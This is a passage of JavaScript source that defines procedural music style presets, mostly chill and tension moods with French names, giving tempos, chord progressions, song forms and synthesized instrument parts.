    S.part({ db: -10, fx: B => filt(B, 'lp', 400) }, B => {
      S.each('bass', b => { sub(B, at(b, 0), b.ch.b, 2.2 * beat, .9); sub(B, at(b, 2.5), b.ch.b, 1.2 * beat, .75); });
      sub(B, end, fin.b, 4, .8, { rel: .8 });
    });
    S.part({ db: -11, rv: .4, dl: .3, fx: B => trem(B, 4.6, .25) }, B => S.play('vib', [VIB], 8, (t, m, len, v) => vib(B, t, m, len, .55 * v, .2)));
    S.part({ db: -14, rv: .5 }, B => { for (const c of S.chords('str')) pad(B, c.t0, c.t1, c.ch.v.map(m => m + 12), { cut: 1800, att: 2, rel: 2.5, vib: .003 }); });
    S.part({ db: -25 }, B => vinyl(B, 1.2));
  },
};

STYLES.nostalgie = {
  name: 'Nostalgie', mood: 'chill', desc: 'Synthés sur bande qui ondule, boîte à musique, batterie compressée',
  bpm: 88, cb: 2, swing: .55, tone: 8000, wow: [2.2, .33, .15],
  verb: { room: .84, damp: .5, db: -10 }, dly: { t: .75, fb: .4, db: -16 },
  prog: [{ b: 38, v: [54, 57, 61, 64] }, { b: 35, v: [54, 57, 61, 62] }, { b: 31, v: [54, 57, 59, 62] }, { b: 33, v: [52, 57, 59, 62] }],
  form: [['intro', 4, 'pad tex'], ['a', 12, '+bass box'], ['b', 16, '+drums lead'], ['brk', 4, 'pad tex box'], ['c', 12, 'pad tex bass drums lead box'], ['out', 4, 'pad tex']],
  parts(S) {
    const { beat, at, end, fin, rand } = S;
    const LEAD = [[0, 0, 1.5, 69], [0, 1.5, .5, 71], [0, 2, 2, 73], [1, 0, 2, 74], [1, 2, 2, 73], [2, 0, 1.5, 71], [2, 1.5, .5, 73], [2, 2, 2, 74], [3, 0, 4, 69], [4, 0, 1.5, 71], [4, 1.5, .5, 74], [4, 2, 2, 78], [5, 0, 2, 76], [5, 2, 2, 74], [6, 0, 3, 76], [6, 3, 1, 71], [7, 0, 4, 69]];
    const BOX = [[[0, 3], [.5, 2], [1, 1], [2, 0], [2.5, 1], [3, 2]], [[0, 3], [1, 2], [1.5, 1], [2, 3], [3, 0]]];
    S.part({ db: -7, rv: .35, fx: B => drive(B, 1.5) }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { cut: 1500, att: 1.2, rel: 1.8, det: 15, vo: 3 });
      pad(B, end, end + 3, fin.v, { cut: 1300, att: .5, rel: 3.5, det: 15 });
    });
    S.part({ db: -9, rv: .3, dl: .3, fx: B => filt(B, 'lp', 2800) }, B => S.play('lead', [LEAD], 8, (t, m, len, v) => syn(B, t, m, len, .7 * v, -.1, { cut: 2000, env: .3, dk: 4, q: .8, att: .02, rel: .25, sus: .8, sq: .75, pw: .3, vib: .005 })));
    S.part({ db: -14, rv: .5, dl: .2 }, B => {
      S.each('box', b => { for (const [p, i] of BOX[b.k % 2]) bell(B, at(b, p), b.ch.v[i] + 24, 1.2, .35 + .15 * rand(), .3, { ratio: 4, idx: .7, tau: 1 }); });
      fin.v.forEach((m, i) => bell(B, end + i * .2, m + 24, 3, .4, .3, { ratio: 4, idx: .7, tau: 1.4 }));
    });
    S.part({ db: -11, fx: B => filt(B, 'lp', 450) }, B => {
      S.each('bass', b => { sub(B, at(b, 0), b.ch.b, 1.8 * beat, .9); sub(B, at(b, 2), b.ch.b, 1.5 * beat, .75); });
      sub(B, end, fin.b, 4, .8, { rel: .8 });
    });
    S.part({ db: -12, rv: .06, fx: B => { crush(B, 3, 10); filt(B, 'lp', 7000); drive(B, 2); } }, B => S.each('drums', b => {
      kick(B, at(b, 0), .95); kick(B, at(b, 2.5), .8);
      snare(B, at(b, 1, .01), .75, { tone: 200, dk: 16 }); snare(B, at(b, 3, .01), .8, { tone: 200, dk: 16 });
      for (let i = 0; i < 8; i++) hat(B, at(b, i * .5), i % 2 ? .35 : .55, .2);
    }));
    S.part({ db: -23 }, B => { hiss(B, 5000); vinyl(B, .8); });
  },
};

STYLES.bali = {
  name: 'Bali calme', mood: 'chill', desc: 'Kalimba, marimba, flûte douce, percussions à la main',
  bpm: 90, cb: 2, swing: .54, swingUnit: .25, tone: 9000,
  verb: { room: .85, damp: .5, db: -10 }, dly: { t: .75, fb: .35, db: -17 },
  prog: [{ b: 43, v: [59, 62, 66, 69] }, { b: 40, v: [59, 62, 66, 67] }, { b: 36, v: [59, 62, 64, 67] }, { b: 38, v: [57, 59, 62, 64] }],
  form: [['intro', 4, 'kal pad'], ['a', 12, '+bass shk'], ['b', 16, '+hand fl'], ['brk', 8, 'kal pad'], ['c', 12, 'kal pad bass shk hand fl'], ['out', 4, 'kal pad']],
  parts(S) {
    const { beat, at, end, fin, rand } = S;
    const KAL = [[0, 0], [.75, 2], [1.5, 1], [2, 3], [2.75, 2], [3.5, 1]], SOFT = [[0, 0], [1.5, 2], [2.75, 1]];
    const FL = [[0, 0, 1, 74], [0, 1, .5, 76], [0, 1.5, 2.5, 79], [1, 0, 2, 78], [1, 2, 2, 74], [2, 0, 1, 76], [2, 1, 1, 74], [2, 2, 2, 71], [3, 0, 3, 67], [3, 3, 1, 69], [4, 0, 1, 71], [4, 1, 1, 74], [4, 2, 2, 76], [5, 0, 2, 79], [5, 2, 2, 78], [6, 0, 2, 76], [6, 2, 2, 74], [7, 0, 4, 71]];
    S.part({ db: -8, rv: .3, dl: .25 }, B => {
      S.each('kal', b => { for (const [p, i] of b.has('bass') ? KAL : SOFT) kal(B, at(b, p), b.ch.v[i] + 12, 2 * beat, .5 + .2 * rand(), (i - 1.5) * .3); });
      S.strum(B, end, fin.v.map(m => m + 12), 4, .55, kal, .06);
    });
    S.part({ db: -10, rv: .15 }, B => {
      S.each('bass', b => { mar(B, at(b, 0), b.ch.b, 1.5 * beat, .8); mar(B, at(b, 1.5), b.ch.b + 7, 1.5 * beat, .6); mar(B, at(b, 3), b.ch.b + 12, beat, .55); });
      mar(B, end, fin.b, 3, .8);
    });
    S.part({ db: -22, rv: .1 }, B => S.each('shk', b => { for (let i = 0; i < 16; i++) shaker(B, at(b, i * .25), i % 4 === 2 ? .6 : i % 2 ? .3 : .45, .35); }));
    S.part({ db: -15, rv: .15 }, B => S.each('hand', b => { for (const [p, f] of [[0, 120], [1.5, 210], [2.5, 190], [3, 140]]) hand(B, at(b, p), f < 160 ? .9 : .6, f, f < 160 ? 0 : -.25); }));
    S.part({ db: -10, rv: .4, dl: .3 }, B => S.play('fl', [FL], 8, (t, m, len, v) => flute(B, t, m, len, .6 * v, .1)));
    S.part({ db: -14, rv: .5 }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { wave: 'tri', cut: 1800, att: 2, rel: 2.5, vo: 2, det: 6 });
      pad(B, end, end + 3, fin.v, { wave: 'tri', cut: 1600, att: .5, rel: 3.5, vo: 2, det: 6 });
    });
    S.part({ db: -30 }, B => wind(B));
  },
};

STYLES['jazz-feutre'] = {
  name: 'Jazz feutré', mood: 'chill', desc: 'Rhodes, contrebasse, balais et ride, vibraphone',
  bpm: 72, cb: 1, swing: .64, tone: 8000, mud: 2,
  verb: { room: .8, damp: .5, db: -11 },
  prog: [{ b: 36, v: [51, 55, 58, 62] }, { b: 41, v: [51, 55, 57, 62] }, { b: 34, v: [50, 53, 57, 60] }, { b: 39, v: [50, 53, 55, 58] }],
  form: [['intro', 4, 'keys brush'], ['a', 8, '+bass'], ['b', 12, '+vib ride'], ['brk', 4, 'keys bass'], ['c', 12, 'keys bass brush vib ride'], ['out', 4, 'keys brush']],
  parts(S) {
    const { beat, at, end, fin, bars } = S;
    const A = [[0, .5, .5, 74], [0, 1, 1, 75], [0, 2, 1.5, 79], [0, 3.5, .5, 77], [1, 0, 1.5, 74], [1, 1.5, .5, 72], [1, 2, 2, 69], [2, .5, .5, 72], [2, 1, 1, 74], [2, 2, 1, 81], [2, 3, 1, 77], [3, 0, 3, 79], [3, 3, 1, 74]];
    const B2 = [[0, .5, .5, 74], [0, 1, 1, 75], [0, 2, 1, 79], [0, 3, 1, 82], [1, 0, 2, 81], [1, 2, 1, 79], [1, 3, 1, 77], [2, 0, 2, 74], [2, 2, 2, 72], [3, 0, 4, 70]];
    S.part({ db: -7, rv: .3, fx: B => filt(B, 'lp', 3600) }, B => {
      S.each('keys', b => {
        if (b.k % 4 === 3) return S.strum(B, at(b, 0, .01), b.ch.v, 3.8 * beat, .5, ep);
        S.strum(B, at(b, 0, .01), b.ch.v, 1.2 * beat, .5, ep); S.strum(B, at(b, 1.5, .01), b.ch.v, beat, .42, ep);
        if (b.k % 2) S.strum(B, at(b, 3, .01), b.ch.v.slice(1), .8 * beat, .35, ep);
      });
      S.strum(B, end, fin.v, 6, .5, ep);
    });
    S.part({ db: -9, rv: .1 }, B => {
      S.each('bass', b => {
        upright(B, at(b, 0), b.ch.b, 1.9 * beat, .85); upright(B, at(b, 2), b.ch.b + 7, 1.4 * beat, .7);
        if (b.k % 2) upright(B, at(b, 3.5), (bars[b.k + 1]?.ch.b ?? fin.b) + 1, .45 * beat, .55);
      });
      upright(B, end, fin.b, 4, .8);
    });
    S.part({ db: -17, rv: .1 }, B => S.each('brush', b => { for (let i = 0; i < 4; i++) brush(B, at(b, i), .9 * beat, i % 2 ? .6 : .8, -.2); brushTap(B, at(b, 1), .6, .1); brushTap(B, at(b, 3), .65, .1); }));
    S.part({ db: -19, rv: .15 }, B => S.each('ride', b => { for (const p of [0, 1, 1.5, 2, 3, 3.5]) ride(B, at(b, p), p % 1 ? .5 : .75, .35); }));
    S.part({ db: -10, rv: .35 }, B => S.play('vib', [A, B2], 4, (t, m, len, v) => vib(B, t, m, len, .55 * v, -.15)));
  },
};

// ---------- tension, in the vein of enquete and arpege ----------
STYLES.filature = {
  name: 'Filature', mood: 'tension', desc: 'Ostinato pincé en sourdine, contrebasse qui rôde, vibraphone de film noir',
  bpm: 92, cb: 2,
  verb: { room: .85, damp: .5, db: -10 }, dly: { t: .75, fb: .4, db: -16 },
  prog: [{ b: 40, v: [52, 55, 59, 62] }, { b: 36, v: [48, 52, 55, 59] }, { b: 33, v: [48, 52, 55, 57] }, { b: 35, v: [47, 51, 54, 57] }],
  form: [['intro', 4, 'pluck pad'], ['a', 12, '+bass rim'], ['b', 16, '+vib hat'], ['brk', 8, 'pluck pad vib'], ['c', 12, 'pluck pad bass rim hat vib high'], ['out', 4, 'pluck pad']],
  parts(S) {
    const { beat, at, end, fin } = S, OST = [0, 0, 2, 0, 1, 0, 2, 3], pc = S.auto({ intro: 600, a: 700, b: 900, brk: 650, c: 1100, out: 600 });
    const V = [[0, 0, 1.5, 71], [0, 1.5, .5, 70], [0, 2, 1, 69], [0, 3, 1, 67], [1, 0, 3, 64], [2, 0, 2, 67], [2, 2, 2, 71], [3, 0, 4, 72], [4, 0, 2, 72], [4, 2, 2, 69], [5, 0, 3, 64], [6, 0, 2, 66], [6, 2, 2, 63], [7, 0, 2, 66], [7, 2, 2, 71]];
    S.part({ db: -9, rv: .2, dl: .2, fx: B => filt(B, 'hp', 110) }, B => S.each('pluck', b => {
      for (let i = 0; i < 8; i++) { const t = at(b, i * .5); syn(B, t, b.ch.v[OST[i]], .25 * beat, i % 2 ? .55 : .8, i % 2 ? .3 : -.3, { cut: pc(t), env: 1.3, dk: 20, q: 1.2, sq: .4, sus: 0 }); }
    }));
    S.part({ db: -13, rv: .5 }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { cut: 800, att: 2, rel: 2.5, vo: 3 });
      pad(B, end, end + 3, fin.v, { cut: 750, att: .6, rel: 3 });
    });
    S.part({ db: -11, fx: B => filt(B, 'lp', 700) }, B => S.each('bass', b => {
      for (const [p, d] of [[0, 0], [1.5, 0], [2, 7], [3.5, 12]]) upright(B, at(b, p), b.ch.b + d, .45 * beat, p ? .7 : .9, 0);
    }));
    S.part({ db: -21, rv: .2 }, B => S.each('rim', b => { rim(B, at(b, 3), .5, .2); if (b.k % 2) rim(B, at(b, 1.75), .3, -.2); }));
    S.part({ db: -22 }, B => S.each('hat', b => { for (let i = 0; i < 8; i++) hat(B, at(b, i * .5), i % 2 ? .45 : .3, .25); }));
    S.part({ db: -10, rv: .45, dl: .3 }, B => {
      S.play('vib', [V], 8, (t, m, len, v) => vib(B, t, m, len, .5 * v, -.15));
      S.strum(B, end, fin.v.map(m => m + 12), 5, .35, vib, .05);
    });
    S.part({ db: -20, rv: .6 }, B => { for (const s of S.spans('high')) pad(B, s.t0, s.t1, [71, 76], { wave: 'glass', cut: 4500, att: 4, rel: 4, vo: 2, det: 4 }); });
    S.part({ db: -28 }, B => wind(B));
  },
};

STYLES['compte-a-rebours'] = {
  name: 'Compte à rebours', mood: 'tension', desc: 'Horloge qui tique, basse pulsée qui s\'ouvre, nappe qui monte, impacts lointains',
  bpm: 100, cb: 2,
  verb: { room: .88, damp: .5, db: -10 }, dly: { t: 1.5, fb: .4, db: -17 },
  prog: [{ b: 36, v: [48, 51, 55, 58] }, { b: 32, v: [48, 51, 56, 60] }, { b: 29, v: [48, 53, 56, 60] }, { b: 31, v: [47, 50, 55, 62] }],
  form: [['intro', 4, 'clock pad'], ['a', 12, '+pulse'], ['b', 16, '+keys hit'], ['brk', 8, 'clock pad keys'], ['c', 16, 'clock pad pulse keys hit fast high'], ['out', 4, 'clock pad']],
  parts(S) {
    const { beat, at, end, fin } = S;
    const pc = S.auto({ intro: 300, a: 380, b: 520, brk: 400, c: 750, out: 380 }), padc = S.auto({ intro: 600, a: 700, b: 900, brk: 750, c: 1300, out: 650 });
    const K1 = [[0, 0, 4, 72], [2, 0, 4, 68], [4, 0, 4, 65], [6, 0, 4, 67]], K2 = [[0, 0, 2, 75], [0, 2, 2, 72], [2, 0, 4, 72], [4, 0, 2, 72], [4, 2, 2, 68], [6, 0, 2, 71], [6, 2, 2, 67]];
    S.part({ db: -17, rv: .15 }, B => S.each('clock', b => {
      for (let i = 0; i < 4; i++) tick(B, at(b, i), i % 2 ? .6 : .85, i % 2 ? 1250 : 1650, i % 2 ? .35 : -.35);
      if (b.has('fast')) for (let i = 0; i < 4; i++) tick(B, at(b, i + .5), .35, 2100, 0);
    }));
    S.part({ db: -13, rv: .45 }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { cut: padc(c.t0), att: 2, rel: 2.5, vo: 3 });
      pad(B, end, end + 3, fin.v, { cut: 700, att: .6, rel: 3 });
    });
    S.part({ db: -11, rv: .15, fx: B => filt(B, 'hp', 60) }, B => S.each('pulse', b => {
      for (let i = 0; i < 8; i++) { const t = at(b, i * .5); syn(B, t, b.ch.b + 12, .35 * beat, i % 2 ? .6 : .9, 0, { cut: pc(t), env: 1, dk: 12, q: 1.1, sus: .15 }); }
    }));
    S.part({ db: -15 }, B => { for (const c of S.chords('pulse')) sub(B, c.t0, c.ch.b, c.t1 - c.t0, .7, { att: .3, rel: .4 }); });
    S.part({ db: -15, rv: .3, fx: B => filt(B, 'lp', 220) }, B => S.each('hit', b => { if (b.k % 4 === 0) kick(B, at(b, 0), 1, { f0: 62, f1: 34, pd: 9, dk: 2.6, dr: 2 }); }));
    S.part({ db: -9, rv: .55, dl: .3 }, B => {
      S.play('keys', [K1, K2], 8, (t, m, len, v) => piano(B, t, m, len, .45 * v, .1));
      S.strum(B, end, [36, 43, ...fin.v], 6, .35, piano, .03);
    });
    S.part({ db: -20, rv: .6 }, B => { for (const s of S.spans('high')) pad(B, s.t0, s.t1, [79, 84], { wave: 'glass', cut: 5000, att: 6, rel: 4, vo: 2, det: 4 }); });
  },
};

STYLES.sonar = {
  name: 'Sonar', mood: 'tension', desc: 'Pings de sonar en écho, drone profond, pouls lent sous la surface',
  bpm: 80, cb: 2, tone: 7000, tail: 8,
  verb: { room: .9, damp: .45, db: -9 }, dly: { t: 1.5, fb: .55, lp: 4500, db: -12 },
  prog: [{ b: 38, v: [50, 53, 57, 64] }, { b: 34, v: [50, 53, 57, 58] }, { b: 38, v: [50, 53, 57, 64] }, { b: 36, v: [48, 52, 55, 62] }],
  form: [['intro', 4, 'drone ping'], ['a', 12, '+pad pulse'], ['b', 12, '+arp'], ['brk', 4, 'drone ping pad'], ['c', 12, 'drone ping pad pulse arp high echo'], ['out', 4, 'drone ping pad']],
  parts(S) {
    const { beat, at, end, fin } = S, AR = [0, 2, 1, 3, 2, 1, 3, 2];
    S.part({ db: -11, rv: .4 }, B => { for (const s of S.spans('drone')) pad(B, s.t0, s.t1, [38, 45], { cut: 360, depth: .5, lfo: .025, att: 3, rel: 5, vo: 3, det: 6 }); });
    S.part({ db: -10, rv: .5, dl: .7 }, B => {
      S.each('ping', b => { if (b.k % 2 === 0) bell(B, at(b, 0), 81, 2.5, .8, -.2, { ratio: 2, idx: .25, tau: 1.2 }); });
      S.each('echo', b => { if (b.k % 2) bell(B, at(b, 1), 88, 1.5, .45, .3, { ratio: 2, idx: .2, tau: .9 }); });
    });
    S.part({ db: -13, rv: .55 }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { cut: 1000, att: 2.5, rel: 3, vo: 3, wave: 'tri' });
      pad(B, end, end + 3.5, fin.v, { cut: 900, att: .8, rel: 4, wave: 'tri' });
    });
    S.part({ db: -14 }, B => S.each('pulse', b => { for (const p of [0, 2]) sub(B, at(b, p), b.ch.b, 1.2 * beat, p ? .6 : .8, { att: .04, rel: .35, dr: 1.2 }); }));
    S.part({ db: -12, rv: .5, dl: .3 }, B => S.each('arp', b => { for (let i = 0; i < 8; i++) vib(B, at(b, i * .5), b.ch.v[AR[i]] + 12, .5 * beat, i % 4 ? .45 : .6, i % 2 ? .4 : -.4); }));
    S.part({ db: -20, rv: .6 }, B => { for (const s of S.spans('high')) pad(B, s.t0, s.t1, [74, 81], { wave: 'glass', cut: 4500, att: 5, rel: 5, vo: 2, det: 4 }); });
    S.part({ db: -26 }, B => wind(B));
  },
};

STYLES.labo = {
  name: 'Labo', mood: 'tension', desc: 'Cloches de verre en arpège, sub qui pulse, clics de machine, piano grave',
  bpm: 88, cb: 2, tail: 7,
  verb: { room: .86, damp: .45, db: -10 }, dly: { t: .75, fb: .45, lp: 4500, db: -15 },
  prog: [{ b: 42, v: [54, 57, 61, 64] }, { b: 38, v: [54, 57, 61, 62] }, { b: 35, v: [54, 57, 59, 62] }, { b: 37, v: [53, 56, 59, 61] }],
  form: [['intro', 4, 'bell pad'], ['a', 12, '+sub'], ['b', 12, '+click low'], ['brk', 8, 'bell pad low'], ['c', 12, 'bell pad sub click low high'], ['out', 4, 'bell pad']],
  parts(S) {
    const { beat, at, end, fin } = S, AR = [0, 2, 1, 3, 2, 4, 3, 1], bv = S.auto({ intro: .5, a: .6, b: .75, brk: .55, c: .85, out: .5 });
    S.part({ db: -9, rv: .35, dl: .35, fx: B => filt(B, 'hp', 250) }, B => S.each('bell', b => {
      const N = [...b.ch.v.map(m => m + 12), b.ch.v[0] + 24];
      for (let i = 0; i < 8; i++) { const t = at(b, i * .5); bell(B, t, N[AR[i]], .6 * beat, bv(t) * (i % 4 ? .75 : 1), i % 2 ? .35 : -.35, { ratio: 3.5, idx: .5, tau: .7 }); }
    }));
    S.part({ db: -13, rv: .5 }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { cut: 1100, att: 2, rel: 2.5, vo: 3, wave: 'tri' });
      pad(B, end, end + 3, fin.v, { cut: 1000, att: .6, rel: 3.5, wave: 'tri' });
    });
    S.part({ db: -13 }, B => S.each('sub', b => { for (let i = 0; i < 4; i++) sub(B, at(b, i), b.ch.b, .55 * beat, i % 2 ? .6 : .85, { att: .01, rel: .12 }); }));
    S.part({ db: -21, rv: .15 }, B => S.each('click', b => { for (const [p, f] of [[0, 3200], [.75, 2600], [1.5, 3200], [2.25, 2900], [3, 3200], [3.5, 2600]]) tick(B, at(b, p), p % 1 ? .5 : .75, f, p % 1 ? .45 : -.45); }));
    S.part({ db: -12, rv: .5 }, B => {
      for (const c of S.chords('low')) { piano(B, c.t0, c.ch.b + 12, c.t1 - c.t0, .4, -.1); piano(B, c.t0 + .02, c.ch.b + 24, c.t1 - c.t0, .3, .1); }
      S.strum(B, end, [fin.b + 12, fin.b + 24, ...fin.v], 6, .35, piano, .03);
    });
    S.part({ db: -20, rv: .6 }, B => { for (const s of S.spans('high')) pad(B, s.t0, s.t1, [78, 85], { wave: 'glass', cut: 5000, att: 5, rel: 4, vo: 2, det: 4 }); });
  },
};

STYLES['code-noir'] = {
  name: 'Code noir', mood: 'tension', desc: 'Techno minimale feutrée, kick sourd, accords dub en écho, basse qui pompe',
  bpm: 98, cb: 2, tone: 9000, tail: 7, mud: 1.5,
  verb: { room: .84, damp: .55, db: -11 }, dly: { t: .75, fb: .55, lp: 2600, db: -12 },
  prog: [{ b: 33, v: [57, 60, 64, 67] }, { b: 33, v: [57, 60, 64, 67] }, { b: 29, v: [57, 60, 64, 65] }, { b: 28, v: [55, 59, 62, 64] }],
  form: [['intro', 4, 'pad stab'], ['a', 12, '+bass'], ['b', 16, '+kick hat'], ['brk', 8, 'pad stab bass'], ['c', 16, 'pad stab bass kick hat shk rim'], ['out', 4, 'pad stab']],
  parts(S) {
    const { beat, at, end, fin } = S, sc = S.auto({ intro: 700, a: 800, b: 1000, brk: 800, c: 1250, out: 700 }), bc = S.auto({ intro: 250, a: 300, b: 420, brk: 320, c: 520, out: 300 });
    S.part({ db: -13, rv: .45, fx: B => pump(B, beat, .35, end) }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { cut: 800, att: 1.5, rel: 2, vo: 3 });
      pad(B, end, end + 3, fin.v, { cut: 750, att: .5, rel: 3.5 });
    });
    S.part({ db: -10, rv: .25, dl: .55, fx: B => filt(B, 'hp', 200) }, B => S.each('stab', b => {
      for (const p of b.k % 2 ? [1.5] : [.5, 2.5]) { const t = at(b, p); syn(B, t, b.ch.v, .3 * beat, .7, 0, { cut: sc(t), env: .7, dk: 9, q: .9, sus: 0, det: 8 }); }
    }));
    S.part({ db: -11, fx: B => { filt(B, 'lp', 800); pump(B, beat, .3, end); } }, B => S.each('bass', b => {
      for (let i = 0; i < 4; i++) { const t = at(b, i + .5); syn(B, t, b.ch.b + 12, .35 * beat, .8, 0, { cut: bc(t), env: .9, dk: 10, q: 1.1, sus: .2 }); }
    }));
    S.part({ db: -17, fx: B => pump(B, beat, .5, end) }, B => { for (const c of S.chords('bass')) sub(B, c.t0, c.ch.b, c.t1 - c.t0, .6, { att: .3, rel: .4 }); sub(B, end, fin.b, 3, .6, { rel: .8 }); });
    S.part({ db: -15, fx: B => filt(B, 'lp', 170) }, B => S.each('kick', b => { for (let i = 0; i < 4; i++) kick(B, at(b, i), i % 2 ? .8 : .95, { f0: 85, f1: 45, pd: 24, dk: 8, dr: 1.4 }); }));
    S.part({ db: -21, rv: .1 }, B => {
      S.each('hat', b => { for (let i = 0; i < 4; i++) hat(B, at(b, i + .5), .55, .25); });
      S.each('shk', b => { for (let i = 0; i < 16; i++) if (i % 4) shaker(B, at(b, i * .25), i % 2 ? .35 : .5, -.3); });
    });
    S.part({ db: -21, rv: .4, dl: .3 }, B => S.each('rim', b => { if (b.k % 2) rim(B, at(b, 3.75), .5, .3); }));
  },
};

STYLES.thriller = {
  name: 'Thriller', mood: 'tension', desc: 'Ostinato staccato en 3-3-2, impacts graves lointains, piano sombre',
  bpm: 84, cb: 2, tail: 8,
  verb: { room: .9, damp: .5, db: -9 }, dly: { t: 1, fb: .35, db: -18 },
  prog: [{ b: 35, v: [50, 54, 59, 62] }, { b: 31, v: [50, 55, 59, 62] }, { b: 28, v: [52, 55, 59, 64] }, { b: 30, v: [49, 54, 58, 61] }],
  form: [['intro', 4, 'pad ost'], ['a', 12, '+hit low'], ['b', 12, '+keys'], ['brk', 8, 'pad keys high'], ['c', 12, 'pad ost hit low keys high'], ['out', 4, 'pad keys']],
  parts(S) {
    const { beat, at, end, fin } = S, oc = S.auto({ intro: 600, a: 750, b: 900, brk: 600, c: 1150, out: 600 });
    const K = [[0, 0, 3, 74], [1, 2, 2, 73], [2, 0, 4, 71], [4, 0, 2, 76], [4, 2, 2, 74], [5, 0, 4, 71], [6, 0, 4, 73], [7, 0, 2, 70], [7, 2, 2, 73]];
    S.part({ db: -9, rv: .25, fx: B => filt(B, 'hp', 120) }, B => S.each('ost', b => {
      for (let i = 0; i < 16; i++) { const acc = [0, 3, 6].includes(i % 8), t = at(b, i * .25); syn(B, t, b.ch.b + 24, .16 * beat, acc ? .85 : .4, acc ? -.15 : .15, { cut: oc(t), env: 1, dk: 22, q: 1, sq: .2, sus: 0, det: 9 }); }
    }));
    S.part({ db: -14, rv: .45 }, B => {
      for (const c of S.chords('pad')) pad(B, c.t0, c.t1, c.ch.v, { cut: 800, att: 2, rel: 2.5, vo: 3, vib: .002 });
      pad(B, end, end + 3, fin.v, { cut: 750, att: .6, rel: 3.5 });
    });
    S.part({ db: -14, rv: .3, fx: B => filt(B, 'lp', 200) }, B => S.each('hit', b => { if (b.k % 4 === 0) kick(B, at(b, 0), 1, { f0: 58, f1: 32, pd: 8, dk: 2.2, dr: 2.2 }); }));
    S.part({ db: -15 }, B => { for (const c of S.chords('low')) sub(B, c.t0, c.ch.b, c.t1 - c.t0, .7, { att: .5, rel: .5 }); });
    S.part({ db: -8, rv: .55, dl: .25 }, B => {
      S.play('keys', [K], 8, (t, m, len, v) => piano(B, t, m, len, .42 * v, .12));
      S.each('keys', b => { if (b.k % 2 === 0) piano(B, at(b, 0), b.ch.b + 12, 6 * beat, .4, -.15); });
      S.strum(B, end, [35, 47, ...fin.v], 6, .35, piano, .03);
    });
    S.part({ db: -20, rv: .6 }, B => { for (const s of S.spans('high')) pad(B, s.t0, s.t1, [78, 83], { wave: 'glass', cut: 4500, att: 4, rel: 4, vo: 2, det: 5 }); });
    S.part({ db: -28 }, B => wind(B));
  },
};

STYLES['nuit-blanche'] = {
  name: 'Nuit blanche', mood: 'tension', desc: 'Piano en ostinato lent, cordes sombres, battement discret',
  bpm: 76, cb: 2, tail: 8,
  verb: { room: .9, damp: .5, db: -9 }, dly: { t: .75, fb: .35, db: -18 },
  prog: [{ b: 43, v: [43, 50, 55, 58] }, { b: 39, v: [43, 51, 55, 58] }, { b: 36, v: [43, 51, 55, 60] }, { b: 38, v: [42, 50, 54, 57] }],
  form: [['intro', 4, 'ost'], ['a', 12, '+drone str'], ['b', 12, '+keys'], ['brk', 4, 'ost str'], ['c', 12, 'ost drone str keys heart high'], ['out', 4, 'ost drone']],
  parts(S) {
    const { beat, at, end, fin } = S, OS = [0, 1, 2, 3, 2, 1, 2, 3];
    const K = [[0, 0, 3, 74], [1, 2, 2, 70], [2, 0, 3, 75], [3, 0, 2, 74], [3, 2, 2, 70], [4, 0, 3, 72], [5, 0, 2, 70], [5, 2, 2, 67], [6, 0, 4, 69], [7, 0, 2, 66], [7, 2, 2, 69]];
    S.part({ db: -8, rv: .45, dl: .15 }, B => {
      S.each('ost', b => { for (let i = 0; i < 8; i++) piano(B, at(b, i * .5), b.ch.v[OS[i]], .9 * beat, i % 4 ? .32 : .42, (OS[i] - 1.5) * .15); });
      S.strum(B, end, fin.v, 6, .35, piano, .04);
    });
    S.part({ db: -12, rv: .4 }, B => { for (const s of S.spans('drone')) pad(B, s.t0, s.t1, [31, 43], { cut: 300, depth: .4, lfo: .03, att: 3, rel: 4, vo: 3, det: 6 }); });
    S.part({ db: -13, rv: .55 }, B => { for (const c of S.chords('str')) pad(B, c.t0, c.t1, [c.ch.v[1] + 12, c.ch.v[3] + 12], { cut: 1300, att: 2.5, rel: 3, vo: 4, det: 10, vib: .003 }); });
    S.part({ db: -8, rv: .55, dl: .3 }, B => S.play('keys', [K], 8, (t, m, len, v) => piano(B, t, m, len, .45 * v, .15)));
    const H = { f0: 70, f1: 42, pd: 16, dk: 9, dr: 1.2 };
    S.part({ db: -16, fx: B => filt(B, 'lp', 180) }, B => S.each('heart', b => { for (const p of [0, 2]) { kick(B, at(b, p), .9, H); kick(B, at(b, p + .4), .6, H); } }));
    S.part({ db: -20, rv: .6 }, B => { for (const s of S.spans('high')) pad(B, s.t0, s.t1, [74, 79], { wave: 'glass', cut: 4500, att: 5, rel: 5, vo: 2, det: 4 }); });
    S.part({ db: -28 }, B => wind(B));
  },
};

STYLES.neon = {
  name: 'Néon', mood: 'tension', desc: 'Arpège en 16e qui pompe, basse en octaves, lead lointain, ville de nuit',
  bpm: 104, cb: 2, tone: 8500, tail: 7,
  verb: { room: .86, damp: .5, db: -10 }, dly: { t: .75, fb: .45, db: -14 },
  prog: [{ b: 41, v: [53, 56, 60, 63], p: [56, 60, 63, 68] }, { b: 37, v: [53, 56, 60, 61], p: [56, 60, 61, 65] }, { b: 32, v: [51, 56, 60, 63], p: [56, 60, 63, 68] }, { b: 39, v: [51, 55, 58, 63], p: [55, 58, 63, 67] }],
  form: [['intro', 4, 'arp pad'], ['a', 12, '+bass'], ['b', 16, '+kick hat'], ['brk', 8, 'arp pad'], ['c', 20, 'arp pad bass kick hat snr lead'], ['out', 4, 'arp pad']],
  parts(S) {
    const { beat, at, end, fin } = S, ARP = [0, 2, 1, 3, 2, 0, 3, 1], ac = S.auto({ intro: 450, a: 650, b: 900, brk: 550, c: 1250, out: 480 });
    const LEAD = [[0, 0, 4, 72], [1, 0, 2, 75], [1, 2, 2, 72], [2, 0, 4, 73], [3, 0, 4, 72], [4, 0, 4, 72], [5, 0, 2, 75], [5, 2, 2, 77], [6, 0, 4, 70], [7, 0, 2, 67], [7, 2, 2, 70]];
    S.part({ db: -9, rv: .2, dl: .3, fx: B => { filt(B, 'hp', 140); pump(B, beat, .3, end); } }, B => S.each('arp', b => {
